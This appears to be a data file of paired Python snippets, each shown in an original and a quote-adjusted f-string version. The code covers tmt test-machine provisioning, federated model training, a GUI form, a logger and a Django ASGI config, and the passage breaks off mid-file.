f"Failed to push workdir to the guest. This usually means "
f"login as '{self.user}' to the test machine does not work.")
raise
def pull(self, source=None, destination=None, options=None):
"""
Pull files from the guest
By default the whole plan workdir is synced from the same
location on the guest. Use the 'source' and 'destination' to
sync custom location and the 'options' parametr to modify
default options '-Rrz --links --safe-links --protect-args'.
"""
# Prepare options
if options is None:
options = "-Rrz --links --safe-links --protect-args".split()
if destination is None:
destination = "/"
if source is None:
source = self.parent.plan.workdir
self.debug(f"Pull workdir from guest '{self.guest}'.")
else:
self.debug(f"Copy '{source}' from the guest to '{destination}'.")
# Make sure rsync is present (tests can remove it) and sync
self._check_rsync()
self.run(
["rsync"] + options
+ ["-e", self._ssh_command(join=True)]
+ [f"{self._ssh_guest()}:{source}", destination],
shell=False)
def stop(self):
"""
Stop the guest
Shut down a running guest instance so that it does not consume
any memory or cpu resources. If needed, perform any actions
necessary to store the instance status to disk.
"""
# Close the master ssh connection
if self._ssh_master_process:
self.debug("Close the master ssh connection.", level=3)
try:
self._ssh_master_process.terminate()
self._ssh_master_process.wait(timeout=3)
except subprocess.TimeoutExpired:
pass
# Remove the ssh socket
if self._ssh_socket_path and os.path.exists(self._ssh_socket_path):
self.debug(
f"Remove ssh socket '{self._ssh_socket_path}'.", level=3)
try:
os.unlink(self._ssh_socket_path)
except OSError as error:
self.debug(f"Failed to remove the socket: {error}", level=3)
def reboot(self, hard=False):
"""
Reboot the guest, return True if successful
Parameter 'hard' set to True means that guest should be
rebooted by way which is not clean in sense that data can be
lost. When set to False reboot should be done gracefully.
"""
if hard:
raise tmt.utils.ProvisionError(
"Method does not support hard reboot.")
try:
self.execute("reboot")
except tmt.utils.RunError as error:
# Connection can be closed by the remote host even before the
# reboot command is completed. Let's ignore such errors.
if error.returncode == 255:
self.debug(
f"Seems the connection was closed too fast, ignoring.")
else:
raise
return self.reconnect()
def reconnect(self):
""" Ensure the connection to the guest is working after reboot """
# Try to wait for machine to really shutdown sshd
time.sleep(SSH_INITIAL_WAIT_TIME)
self.debug("Wait for a connection to the guest.")
for attempt in range(1, CONNECTION_TIMEOUT):
try:
self.execute('whoami')
break
except tmt.utils.RunError:
self.debug('Failed to connect to the guest, retrying.')
time.sleep(1)
if attempt == CONNECTION_TIMEOUT:
self.debug("Connection to guest failed after reboot.")
return False
return True
def remove(self):
"""
Remove the guest
Completely remove all guest instance data so that it does not
consume any disk resources.
"""
self.debug(f"Doing nothing to remove guest '{self.guest}'.")
def _check_rsync(self):
"""
Make sure that rsync is installed on the guest
For now works only with RHEL based distributions.
On read-only distros install under the '/root/pkg' directory.
"""
self.debug("Ensure that rsync is installed on the guest.", level=3)
self.execute(
"rsync --version --quiet || "
# Regular yum install on read-write distros
"if [[ ! -f /usr/bin/rpm-ostree ]]; then yum install -y rsync; "
# Install under /root/pkg for read-only distros
"else yum install -y --installroot=/root/pkg --releasever / rsync "
"&& ln -sf /root/pkg/bin/rsync /usr/local/bin/rsync; fi")
@classmethod
def requires(cls):
""" No extra requires needed """
return []
|
import logging
import wandb
from torch import optim
from torch.utils.data import DataLoader
from losses import build_loss
from metrics.basic import AverageMeter, compute_accuracy
from utils import save_model
logger = logging.getLogger(__name__)
def train_local(net_id, net, trainloader, testloader, comm_round, args, device):
# train_acc = compute_accuracy(net, trainloader, device=device)
# test_acc, conf_matrix = compute_accuracy(net, testloader, get_confusion_matrix=True, device=device)
# logger.info(f'<< Train accuracy: {train_acc * 100:5.2f} %')
# logger.info(f'<< Test accuracy: {test_acc * 100:5.2f} %')
# wandb.log(
# data={
# f'Client {net_id}': {
# 'train': {'Accuracy': train_acc},
# 'test': {'Accuracy': test_acc},
# },
# 'round': comm_round - 0.5
# },
# )
if args.optimizer == 'adam':
optimizer = optim.Adam(filter(lambda p: p.requires_grad, net.parameters()), lr=args.lr, weight_decay=args.reg)
elif args.optimizer == 'amsgrad':
optimizer = optim.Adam(filter(lambda p: p.requires_grad, net.parameters()), lr=args.lr, weight_decay=args.reg,
amsgrad=True)
elif args.optimizer == 'sgd':
optimizer = optim.SGD(filter(lambda p: p.requires_grad, net.parameters()), lr=args.lr, momentum=args.momentum,
weight_decay=args.reg)
criterion = build_loss(args.loss)
metrics = {
'total_loss': AverageMeter(),
args.loss: AverageMeter(),
}
for epoch in range(1, args.epochs + 1):
metrics['total_loss'].reset()
metrics[args.loss].reset()
for batch_idx, (x, target) in enumerate(trainloader):
x, target = x.to(device), target.to(device)
optimizer.zero_grad()
x.requires_grad = True
target.requires_grad = False
target = target.long()
out = net(x)
loss, additional = criterion(out, target, model=net, decay=args.odecay)
loss.backward()
optimizer.step()
# Metrics update
metrics['total_loss'].update(loss, len(x))
metrics[args.loss].update(additional if additional else loss, len(x))
# Logging
logger.info(f'Epoch: {epoch:>3} | Loss: {metrics['total_loss'].avg:.6f}')
wandb.log(
data={
f'Client {net_id}': {
'train': {
'Loss': metrics['total_loss'].avg,
args.loss: metrics[args.loss].avg
},
},
'epochsum': (comm_round - 1) * args.epochs + epoch
}
)
# Save local model
cond_comm = (comm_round % args.save_round == 0) or comm_round == args.comm_round
cond_epoch = (epoch % args.save_epoch == 0) or epoch == args.epochs
if args.save_local and cond_comm and cond_epoch:
save_model(net, args.name, args.modeldir, f'comm{comm_round:03}-epoch{epoch:03}-CLIENT{net_id:02}')
# calc acc for local (optional)
# train_acc = compute_accuracy(net, train_dataloader, device=device)
# test_acc, conf_matrix = compute_accuracy(net, test_dataloader, get_confusion_matrix=True, device=device)
# if epoch % 10 == 0:
# logger.info('Epoch: %d Loss: %f' % (epoch, epoch_loss))
# train_acc = compute_accuracy(net, train_dataloader, device=device)
# test_acc, conf_matrix = compute_accuracy(net, test_dataloader, get_confusion_matrix=True, device=device)
#
# logger.info('>> Training accuracy: %f' % train_acc)
# logger.info('>> Test accuracy: %f' % test_acc)
train_acc = compute_accuracy(net, trainloader, device=device)
test_acc, conf_matrix = compute_accuracy(net, testloader, get_confusion_matrix=True, device=device)
logger.info(f'>> Train accuracy: {train_acc * 100:5.2f} %')
logger.info(f'>> Test accuracy: {test_acc * 100:5.2f} %')
wandb.log(
data={
f'Client {net_id}': {
'train': {'Accuracy': train_acc},
'test': {'Accuracy': test_acc},
},
'round': comm_round
},
)
return train_acc, test_acc
def train_nets(nets, selected, args, net_dataidx_map, loaderargs, comm_round, testargs=None, device='cuda'):
avg_acc = 0.0
for net_id, net in nets.items():
if net_id not in selected:
continue
dataidxs = net_dataidx_map[net_id]
logger.info('-' * 58)
logger.info(f'Training client {net_id:>3} with {len(dataidxs):>6} data')
net.to(device)
loader = DataLoader(**loaderargs[net_id])
testloader = DataLoader(**testargs)
trainacc, testacc = train_local(net_id, net, loader, testloader, comm_round, args, device=device)
del loader
del testloader
net.cpu()
avg_acc += testacc
# Save model
# save_model(net, net_id, args)
# else:
# load_model(net, net_id, device=device)
logger.info('-' * 58)
avg_acc /= len(selected)
if args.alg == 'local_training':
logger.info("avg test acc %f" % avg_acc)
nets_list = list(nets.values())
return nets_list
| import logging
import wandb
from torch import optim
from torch.utils.data import DataLoader
from losses import build_loss
from metrics.basic import AverageMeter, compute_accuracy
from utils import save_model
logger = logging.getLogger(__name__)
def train_local(net_id, net, trainloader, testloader, comm_round, args, device):
# train_acc = compute_accuracy(net, trainloader, device=device)
# test_acc, conf_matrix = compute_accuracy(net, testloader, get_confusion_matrix=True, device=device)
# logger.info(f'<< Train accuracy: {train_acc * 100:5.2f} %')
# logger.info(f'<< Test accuracy: {test_acc * 100:5.2f} %')
# wandb.log(
# data={
# f'Client {net_id}': {
# 'train': {'Accuracy': train_acc},
# 'test': {'Accuracy': test_acc},
# },
# 'round': comm_round - 0.5
# },
# )
if args.optimizer == 'adam':
optimizer = optim.Adam(filter(lambda p: p.requires_grad, net.parameters()), lr=args.lr, weight_decay=args.reg)
elif args.optimizer == 'amsgrad':
optimizer = optim.Adam(filter(lambda p: p.requires_grad, net.parameters()), lr=args.lr, weight_decay=args.reg,
amsgrad=True)
elif args.optimizer == 'sgd':
optimizer = optim.SGD(filter(lambda p: p.requires_grad, net.parameters()), lr=args.lr, momentum=args.momentum,
weight_decay=args.reg)
criterion = build_loss(args.loss)
metrics = {
'total_loss': AverageMeter(),
args.loss: AverageMeter(),
}
for epoch in range(1, args.epochs + 1):
metrics['total_loss'].reset()
metrics[args.loss].reset()
for batch_idx, (x, target) in enumerate(trainloader):
x, target = x.to(device), target.to(device)
optimizer.zero_grad()
x.requires_grad = True
target.requires_grad = False
target = target.long()
out = net(x)
loss, additional = criterion(out, target, model=net, decay=args.odecay)
loss.backward()
optimizer.step()
# Metrics update
metrics['total_loss'].update(loss, len(x))
metrics[args.loss].update(additional if additional else loss, len(x))
# Logging
logger.info(f'Epoch: {epoch:>3} | Loss: {metrics["total_loss"].avg:.6f}')
wandb.log(
data={
f'Client {net_id}': {
'train': {
'Loss': metrics['total_loss'].avg,
args.loss: metrics[args.loss].avg
},
},
'epochsum': (comm_round - 1) * args.epochs + epoch
}
)
# Save local model
cond_comm = (comm_round % args.save_round == 0) or comm_round == args.comm_round
cond_epoch = (epoch % args.save_epoch == 0) or epoch == args.epochs
if args.save_local and cond_comm and cond_epoch:
save_model(net, args.name, args.modeldir, f'comm{comm_round:03}-epoch{epoch:03}-CLIENT{net_id:02}')
# calc acc for local (optional)
# train_acc = compute_accuracy(net, train_dataloader, device=device)
# test_acc, conf_matrix = compute_accuracy(net, test_dataloader, get_confusion_matrix=True, device=device)
# if epoch % 10 == 0:
# logger.info('Epoch: %d Loss: %f' % (epoch, epoch_loss))
# train_acc = compute_accuracy(net, train_dataloader, device=device)
# test_acc, conf_matrix = compute_accuracy(net, test_dataloader, get_confusion_matrix=True, device=device)
#
# logger.info('>> Training accuracy: %f' % train_acc)
# logger.info('>> Test accuracy: %f' % test_acc)
train_acc = compute_accuracy(net, trainloader, device=device)
test_acc, conf_matrix = compute_accuracy(net, testloader, get_confusion_matrix=True, device=device)
logger.info(f'>> Train accuracy: {train_acc * 100:5.2f} %')
logger.info(f'>> Test accuracy: {test_acc * 100:5.2f} %')
wandb.log(
data={
f'Client {net_id}': {
'train': {'Accuracy': train_acc},
'test': {'Accuracy': test_acc},
},
'round': comm_round
},
)
return train_acc, test_acc
def train_nets(nets, selected, args, net_dataidx_map, loaderargs, comm_round, testargs=None, device='cuda'):
avg_acc = 0.0
for net_id, net in nets.items():
if net_id not in selected:
continue
dataidxs = net_dataidx_map[net_id]
logger.info('-' * 58)
logger.info(f'Training client {net_id:>3} with {len(dataidxs):>6} data')
net.to(device)
loader = DataLoader(**loaderargs[net_id])
testloader = DataLoader(**testargs)
trainacc, testacc = train_local(net_id, net, loader, testloader, comm_round, args, device=device)
del loader
del testloader
net.cpu()
avg_acc += testacc
# Save model
# save_model(net, net_id, args)
# else:
# load_model(net, net_id, device=device)
logger.info('-' * 58)
avg_acc /= len(selected)
if args.alg == 'local_training':
logger.info("avg test acc %f" % avg_acc)
nets_list = list(nets.values())
return nets_list
|
from easygraphics.processing import ProcessingWidget
from easygraphics.image import Image
import easygraphics
import inspect
image_funcs = dir(Image)
for func in easygraphics.__all__:
if not func in image_funcs:
continue
if func.startswith("_"):
continue
fun = eval(f"easygraphics.{func}")
if not callable(fun):
continue
sig = inspect.signature(fun)
parameters = []
for param in sig.parameters:
if param != 'self':
if param == 'args':
parameters.append('*args')
elif param == 'kwargs':
parameters.append('**kwargs')
else:
parameters.append(param)
print(f"def {func}{sig}:")
if sig.return_annotation is not inspect.Signature.empty:
print(f" return _widget.get_canvas().{func}({",".join(parameters)})")
else:
print(f" _widget.get_canvas().{func}({",".join(parameters)})")
print("")
| from easygraphics.processing import ProcessingWidget
from easygraphics.image import Image
import easygraphics
import inspect
image_funcs = dir(Image)
for func in easygraphics.__all__:
if not func in image_funcs:
continue
if func.startswith("_"):
continue
fun = eval(f"easygraphics.{func}")
if not callable(fun):
continue
sig = inspect.signature(fun)
parameters = []
for param in sig.parameters:
if param != 'self':
if param == 'args':
parameters.append('*args')
elif param == 'kwargs':
parameters.append('**kwargs')
else:
parameters.append(param)
print(f"def {func}{sig}:")
if sig.return_annotation is not inspect.Signature.empty:
print(f" return _widget.get_canvas().{func}({','.join(parameters)})")
else:
print(f" _widget.get_canvas().{func}({','.join(parameters)})")
print("")
|
import PySimpleGUI as sg
class TelaOrganizador:
def __init__(self):
self.__window = None
def tela_opcoes(self):
opcao = -1
while opcao == -1:
self.inicializar_opcoes()
button, values = self.__window.read()
if values['0'] or button is None:
opcao = 0
break
for i, key in enumerate(values, 1):
if values[key]:
opcao = i
self.__window.close()
self.__window.close()
return opcao
def inicializar_opcoes(self):
sg.ChangeLookAndFeel('DarkTeal4')
layout = [
[sg.Text('Organizadores', font=('Arial', 16), justification='center')],
[sg.Text('Escolha uma opção abaixo:')],
[sg.Radio('Adicionar organizador', 'RB', key='1')],
[sg.Radio('Excluir organizador', 'RB', key='2')],
[sg.Radio('Alterar organizador', 'RB', key='3')],
[sg.Radio('Mostrar organizador', 'RB', key='4')],
[sg.Radio('Listar organizadores', 'RB', key='5')],
[sg.Radio('Retornar', 'RB', key='0')],
[sg.Button('Confirmar')]
]
self.__window = sg.Window('Sistema de Eventos', layout)
def pegar_dados_organizador(self, editando: bool):
self.inicializar_pegar_dados(editando)
button, values = self.__window.read()
if button == 'Confirmar':
self.__window.close()
if editando:
values['cpf'] = -1
cpf = values['cpf']
nome = values['nome']
dia_nascimento = int(values['dia_nascimento'])
mes_nascimento = int(values['mes_nascimento'])
ano_nascimento = int(values['ano_nascimento'])
return {'cpf': cpf, 'nome': nome, 'dia_nascimento': dia_nascimento, 'mes_nascimento': mes_nascimento,
'ano_nascimento': ano_nascimento}
self.__window.close()
return None
def inicializar_pegar_dados(self, editando: bool):
sg.ChangeLookAndFeel('DarkTeal4')
if not editando:
column = [
[sg.Text('Cadastrar Organizador', font=('Arial', 14))],
[sg.Text('CPF:'), sg.InputText(size=(11, 1), key='cpf')]
]
else:
column = [[sg.Text('Alterar Organizador', font=('Arial', 14))]]
layout = [
[sg.Column(column, pad=0)],
[sg.Text('Nome:'), sg.InputText(size=(24, 1), key='nome')],
[sg.Text('Dia de nascimento:'), sg.InputText(size=(2, 1), key='dia_nascimento')],
[sg.Text('Mês de nascimento:'), sg.InputText(size=(2, 1), key='mes_nascimento')],
[sg.Text('Ano de nascimento:'), sg.InputText(size=(4, 4), key='ano_nascimento')],
[sg.Button('Confirmar'), sg.Cancel('Cancelar')]
]
self.__window = sg.Window('Sistema de Eventos', layout)
def mostrar_organizador(self, dados_organizador):
self.inicializar_mostrar_organizador(dados_organizador)
button, values = self.__window.read()
if button in [None, 'OK']:
self.__window.close()
def inicializar_mostrar_organizador(self, dados_organizador):
sg.ChangeLookAndFeel('DarkTeal4')
layout = [
[sg.Text('Dados do Organizador', font=('Arial', 14))],
[sg.Text('CPF:'), sg.Text(dados_organizador['cpf'])],
[sg.Text('Nome:'), sg.Text(dados_organizador['nome'])],
[sg.Text('Data de nascimento:'), sg.Text(dados_organizador['data_nascimento'].strftime('%d/%m/%Y'))],
[sg.Cancel('OK')]
]
self.__window = sg.Window('Sistema de Eventos', layout)
def selecionar_organizador(self, dados_organizadores: dict):
self.inicializar_selecionar_organizador(dados_organizadores)
button, values = self.__window.read()
if button == 'Confirmar':
self.__window.close()
if values['cpf'] == '':
self.mostrar_mensagem('Nenhuma opção selecionada para mostrar.')
return None
cpf_organizador = values['cpf'].split()[-1]
return cpf_organizador
self.__window.close()
return None
def inicializar_selecionar_organizador(self, dados_organizadores: dict):
sg.ChangeLookAndFeel('DarkTeal4')
organizadores_labels = []
for contador in range(len(dados_organizadores["cpfs"])):
organizadores_labels.append(
f'{dados_organizadores['nomes'][contador]} - CPF: {dados_organizadores['cpfs'][contador]}')
organizadores_labels.sort()
layout = [
[sg.Text('Selecionar Organizador', font=('Arial', 14))],
[sg.Text('Organizador:', size=(12, 1)),
sg.Combo(organizadores_labels, readonly=True, size=(40, 1), key='cpf')],
[sg.Button('Confirmar'), sg.Cancel('Cancelar')]
]
self.__window = sg.Window('Sistema de Eventos', layout)
@staticmethod
def mostrar_mensagem(msg):
sg.Popup(msg)
| import PySimpleGUI as sg
class TelaOrganizador:
def __init__(self):
self.__window = None
def tela_opcoes(self):
opcao = -1
while opcao == -1:
self.inicializar_opcoes()
button, values = self.__window.read()
if values['0'] or button is None:
opcao = 0
break
for i, key in enumerate(values, 1):
if values[key]:
opcao = i
self.__window.close()
self.__window.close()
return opcao
def inicializar_opcoes(self):
sg.ChangeLookAndFeel('DarkTeal4')
layout = [
[sg.Text('Organizadores', font=('Arial', 16), justification='center')],
[sg.Text('Escolha uma opção abaixo:')],
[sg.Radio('Adicionar organizador', 'RB', key='1')],
[sg.Radio('Excluir organizador', 'RB', key='2')],
[sg.Radio('Alterar organizador', 'RB', key='3')],
[sg.Radio('Mostrar organizador', 'RB', key='4')],
[sg.Radio('Listar organizadores', 'RB', key='5')],
[sg.Radio('Retornar', 'RB', key='0')],
[sg.Button('Confirmar')]
]
self.__window = sg.Window('Sistema de Eventos', layout)
def pegar_dados_organizador(self, editando: bool):
self.inicializar_pegar_dados(editando)
button, values = self.__window.read()
if button == 'Confirmar':
self.__window.close()
if editando:
values['cpf'] = -1
cpf = values['cpf']
nome = values['nome']
dia_nascimento = int(values['dia_nascimento'])
mes_nascimento = int(values['mes_nascimento'])
ano_nascimento = int(values['ano_nascimento'])
return {'cpf': cpf, 'nome': nome, 'dia_nascimento': dia_nascimento, 'mes_nascimento': mes_nascimento,
'ano_nascimento': ano_nascimento}
self.__window.close()
return None
def inicializar_pegar_dados(self, editando: bool):
sg.ChangeLookAndFeel('DarkTeal4')
if not editando:
column = [
[sg.Text('Cadastrar Organizador', font=('Arial', 14))],
[sg.Text('CPF:'), sg.InputText(size=(11, 1), key='cpf')]
]
else:
column = [[sg.Text('Alterar Organizador', font=('Arial', 14))]]
layout = [
[sg.Column(column, pad=0)],
[sg.Text('Nome:'), sg.InputText(size=(24, 1), key='nome')],
[sg.Text('Dia de nascimento:'), sg.InputText(size=(2, 1), key='dia_nascimento')],
[sg.Text('Mês de nascimento:'), sg.InputText(size=(2, 1), key='mes_nascimento')],
[sg.Text('Ano de nascimento:'), sg.InputText(size=(4, 4), key='ano_nascimento')],
[sg.Button('Confirmar'), sg.Cancel('Cancelar')]
]
self.__window = sg.Window('Sistema de Eventos', layout)
def mostrar_organizador(self, dados_organizador):
self.inicializar_mostrar_organizador(dados_organizador)
button, values = self.__window.read()
if button in [None, 'OK']:
self.__window.close()
def inicializar_mostrar_organizador(self, dados_organizador):
sg.ChangeLookAndFeel('DarkTeal4')
layout = [
[sg.Text('Dados do Organizador', font=('Arial', 14))],
[sg.Text('CPF:'), sg.Text(dados_organizador['cpf'])],
[sg.Text('Nome:'), sg.Text(dados_organizador['nome'])],
[sg.Text('Data de nascimento:'), sg.Text(dados_organizador['data_nascimento'].strftime('%d/%m/%Y'))],
[sg.Cancel('OK')]
]
self.__window = sg.Window('Sistema de Eventos', layout)
def selecionar_organizador(self, dados_organizadores: dict):
self.inicializar_selecionar_organizador(dados_organizadores)
button, values = self.__window.read()
if button == 'Confirmar':
self.__window.close()
if values['cpf'] == '':
self.mostrar_mensagem('Nenhuma opção selecionada para mostrar.')
return None
cpf_organizador = values['cpf'].split()[-1]
return cpf_organizador
self.__window.close()
return None
def inicializar_selecionar_organizador(self, dados_organizadores: dict):
sg.ChangeLookAndFeel('DarkTeal4')
organizadores_labels = []
for contador in range(len(dados_organizadores["cpfs"])):
organizadores_labels.append(
f'{dados_organizadores["nomes"][contador]} - CPF: {dados_organizadores["cpfs"][contador]}')
organizadores_labels.sort()
layout = [
[sg.Text('Selecionar Organizador', font=('Arial', 14))],
[sg.Text('Organizador:', size=(12, 1)),
sg.Combo(organizadores_labels, readonly=True, size=(40, 1), key='cpf')],
[sg.Button('Confirmar'), sg.Cancel('Cancelar')]
]
self.__window = sg.Window('Sistema de Eventos', layout)
@staticmethod
def mostrar_mensagem(msg):
sg.Popup(msg)
|
from datetime import datetime
from functools import partial
#
from .utils.context_utils import DoOnException
from .utils.context_utils import ExitOnException
from .utils.context_utils import BaseContextDecorator
__all__ = ["get_logger", "Logger"]
def get_logger(filename, name, sublogger=None, mode="w"):
"""initialize a new logger"""
fhandle = Logger.get_fhandle(filename, mode)
return Logger(name, fhandle, sublogger)
class LogBlock(BaseContextDecorator):
def __init__(self, logger, txt=None):
self.txt = txt
self.logger = logger
def set_text(self, txt):
self.txt = txt
def __enter__(self):
self.logger.info(f"\nEnter '{self.txt}' at: "
f"{datetime.now().strftime("%Y-%m-%d %H:%M:%S")}")
def __exit__(self, exception_type, exception_value, traceback):
self.logger.info(f"Leave '{self.txt}' at: "
f"{datetime.now().strftime("%Y-%m-%d %H:%M:%S")}\n")
class _LoggerBase(object):
def __init__(self, name, fhandle):
self.name = name
self.fhandle = fhandle
self._info_block = LogBlock(self)
self._error_block = DoOnException(self.error)
@staticmethod
def get_fhandle(filename, mode="w"):
"""Generate a new file handle"""
return _TextHandle(filename, mode)
def set_fhandle(self, handle):
"""set fhandle to new handle"""
if isinstance(handle, _TextHandle):
pass
elif isinstance(handle, str) or isinstance(handle, None):
handle = self.get_fhandle(handle)
else:
raise Exception("new file handle can only be: \n"
"None -> Console logger\n"
"filename -> File logger \n"
"logger -> logger \n")
self.fhandle = handle
def debug(self, txt):
self.fhandle.write(f"Debug: {txt}\n")
def header(self, name, dct=None):
txt = '********************************************************************************\n'
txt += '*{:^78}*\n'.format(name)
txt += '*{:^78}*\n'.format(' ')
txt += f"* {"Date":15}: {datetime.now().strftime("%Y-%m-%d %H:%M:%S")}".ljust(79) + '*\n'
txt += '*{:^78}*\n'.format(' ')
if dct is not None:
for key in dct:
inter = f"* {key:15}: {dct[key]}"
if len(inter) < 80:
inter = inter.ljust(79) + '*\n'
else:
inter_new = inter[0:79] + '*\n'
inter = inter[79:]
while len(inter) > 60:
inter_new += "* {:^15} ".format(' ') + inter[0:60] + '*\n'
inter = inter[60:]
inter_new += "* {:^15} ".format(' ') + inter.ljust(60) + '*\n'
inter = inter_new
txt += inter
txt += '*{:^78}*\n'.format(' ')
txt += '********************************************************************************\n\n\n'
self.fhandle.write(f"{txt}\n")
def info(self, txt):
self.fhandle.write(f"{txt}\n")
def warning(self, txt):
self.fhandle.write(f"Warning: {txt}\n")
def info_block(self, txt):
self._info_block.set_text(txt)
return self._info_block
def exit_on_exception(self, txt):
self._error_block.set_args(txt)
return self._error_block
def error(self, txt):
error = (f"in '{self.name}' at "
f"{datetime.now().strftime("%Y-%m-%d %H:%M:%S")}:\n"
f"{txt}\n\n")
#
self.fhandle.write(f"Error Termination {error}")
# raise Exception
with ExitOnException():
raise Exception(error)
class Logger(_LoggerBase):
def __init__(self, name, fhandle=None, handles=None):
if fhandle is None:
# create an terminal logger
fhandle = self.get_fhandle(None)
_LoggerBase.__init__(self, name, fhandle)
self.sublogger = self._generate_sublogger(handles)
def __getitem__(self, key):
return self.sublogger[key]
def add_sublogger(self, sublogger):
"""add new sublogger to logger"""
if sublogger is None:
return
if isinstance(sublogger, str):
sublogger = [sublogger]
#
sublogger = self._generate_sublogger(sublogger)
# register new keys
for key, value in sublogger.items():
self.sublogger[key] = value
def _generate_sublogger(self, sublogger):
"""create subloggers"""
if sublogger is None:
return
if isinstance(sublogger, list):
return {logger: Logger(f"{self.name.upper()}-{logger}", self.fhandle)
for logger in sublogger}
if isinstance(sublogger, dict):
return {logger_name: Logger(f"{self.name.upper()}-{logger_name}",
self.fhandle, sub_logger)
for logger_name, sub_logger in sublogger.items()}
if isinstance(sublogger, tuple):
return {logger: Logger(f"{self.name.upper()}-{logger}", self.fhandle)
for logger in sublogger}
raise Exception("Sublogger can only be tuple, dict, list or None!")
class _TextHandle(object):
def __init__(self, filename=None, mode="w"):
self._setup(filename, mode=mode)
def _setup(self, filename, mode="w"):
if filename is None:
self._f = None
self.write = partial(print, end='')
else:
self._f = open(filename, mode=mode)
self.write = self._write
def _write(self, txt):
self._f.write(txt)
self._f.flush()
def __del__(self):
if self._f is not None:
self._f.close()
| from datetime import datetime
from functools import partial
#
from .utils.context_utils import DoOnException
from .utils.context_utils import ExitOnException
from .utils.context_utils import BaseContextDecorator
__all__ = ["get_logger", "Logger"]
def get_logger(filename, name, sublogger=None, mode="w"):
"""initialize a new logger"""
fhandle = Logger.get_fhandle(filename, mode)
return Logger(name, fhandle, sublogger)
class LogBlock(BaseContextDecorator):
def __init__(self, logger, txt=None):
self.txt = txt
self.logger = logger
def set_text(self, txt):
self.txt = txt
def __enter__(self):
self.logger.info(f"\nEnter '{self.txt}' at: "
f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
def __exit__(self, exception_type, exception_value, traceback):
self.logger.info(f"Leave '{self.txt}' at: "
f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
class _LoggerBase(object):
def __init__(self, name, fhandle):
self.name = name
self.fhandle = fhandle
self._info_block = LogBlock(self)
self._error_block = DoOnException(self.error)
@staticmethod
def get_fhandle(filename, mode="w"):
"""Generate a new file handle"""
return _TextHandle(filename, mode)
def set_fhandle(self, handle):
"""set fhandle to new handle"""
if isinstance(handle, _TextHandle):
pass
elif isinstance(handle, str) or isinstance(handle, None):
handle = self.get_fhandle(handle)
else:
raise Exception("new file handle can only be: \n"
"None -> Console logger\n"
"filename -> File logger \n"
"logger -> logger \n")
self.fhandle = handle
def debug(self, txt):
self.fhandle.write(f"Debug: {txt}\n")
def header(self, name, dct=None):
txt = '********************************************************************************\n'
txt += '*{:^78}*\n'.format(name)
txt += '*{:^78}*\n'.format(' ')
txt += f"* {'Date':15}: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}".ljust(79) + '*\n'
txt += '*{:^78}*\n'.format(' ')
if dct is not None:
for key in dct:
inter = f"* {key:15}: {dct[key]}"
if len(inter) < 80:
inter = inter.ljust(79) + '*\n'
else:
inter_new = inter[0:79] + '*\n'
inter = inter[79:]
while len(inter) > 60:
inter_new += "* {:^15} ".format(' ') + inter[0:60] + '*\n'
inter = inter[60:]
inter_new += "* {:^15} ".format(' ') + inter.ljust(60) + '*\n'
inter = inter_new
txt += inter
txt += '*{:^78}*\n'.format(' ')
txt += '********************************************************************************\n\n\n'
self.fhandle.write(f"{txt}\n")
def info(self, txt):
self.fhandle.write(f"{txt}\n")
def warning(self, txt):
self.fhandle.write(f"Warning: {txt}\n")
def info_block(self, txt):
self._info_block.set_text(txt)
return self._info_block
def exit_on_exception(self, txt):
self._error_block.set_args(txt)
return self._error_block
def error(self, txt):
error = (f"in '{self.name}' at "
f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}:\n"
f"{txt}\n\n")
#
self.fhandle.write(f"Error Termination {error}")
# raise Exception
with ExitOnException():
raise Exception(error)
class Logger(_LoggerBase):
def __init__(self, name, fhandle=None, handles=None):
if fhandle is None:
# create an terminal logger
fhandle = self.get_fhandle(None)
_LoggerBase.__init__(self, name, fhandle)
self.sublogger = self._generate_sublogger(handles)
def __getitem__(self, key):
return self.sublogger[key]
def add_sublogger(self, sublogger):
"""add new sublogger to logger"""
if sublogger is None:
return
if isinstance(sublogger, str):
sublogger = [sublogger]
#
sublogger = self._generate_sublogger(sublogger)
# register new keys
for key, value in sublogger.items():
self.sublogger[key] = value
def _generate_sublogger(self, sublogger):
"""create subloggers"""
if sublogger is None:
return
if isinstance(sublogger, list):
return {logger: Logger(f"{self.name.upper()}-{logger}", self.fhandle)
for logger in sublogger}
if isinstance(sublogger, dict):
return {logger_name: Logger(f"{self.name.upper()}-{logger_name}",
self.fhandle, sub_logger)
for logger_name, sub_logger in sublogger.items()}
if isinstance(sublogger, tuple):
return {logger: Logger(f"{self.name.upper()}-{logger}", self.fhandle)
for logger in sublogger}
raise Exception("Sublogger can only be tuple, dict, list or None!")
class _TextHandle(object):
def __init__(self, filename=None, mode="w"):
self._setup(filename, mode=mode)
def _setup(self, filename, mode="w"):
if filename is None:
self._f = None
self.write = partial(print, end='')
else:
self._f = open(filename, mode=mode)
self.write = self._write
def _write(self, txt):
self._f.write(txt)
self._f.flush()
def __del__(self):
if self._f is not None:
self._f.close()
|
"""
ASGI config for Graphql Project project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/dev/howto/deployment/asgi/
"""
import os
import sys
from pathlib import Path
from django.core.asgi import get_asgi_application
# This allows easy placement of apps within the interior
# graphql_project directory.
ROOT_DIR = Path(__file__).resolve(strict=True).parent.parent
sys.path.append(str(ROOT_DIR / "graphql_project"))
# If DJANGO_SETTINGS_MODULE is unset, default to the local settings
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "config.settings.local")
# This application object is used by any ASGI server configured to use this file.
django_application = get_asgi_application()
# Apply ASGI middleware here.
# from helloworld.asgi import HelloWorldApplication
# application = HelloWorldApplication(application)
# Import websocket application here, so apps from django_application are loaded first
from config.websocket import websocket_application # noqa isort:skip
async def application(scope, receive, send):
if scope["type"] == "http":
await django_application(scope, receive, send)
elif scope["type"] == "websocket":
await websocket_application(scope, receive, send)
else:
raise NotImplementedError(f"Unknown scope type {scope["type"]}")
| """
ASGI config for Graphql Project project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/dev/howto/deployment/asgi/
"""
import os
import sys
from pathlib import Path
from django.core.asgi import get_asgi_application
# This allows easy placement of apps within the interior
# graphql_project directory.
ROOT_DIR = Path(__file__).resolve(strict=True).parent.parent
sys.path.append(str(ROOT_DIR / "graphql_project"))
# If DJANGO_SETTINGS_MODULE is unset, default to the local settings
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "config.settings.local")
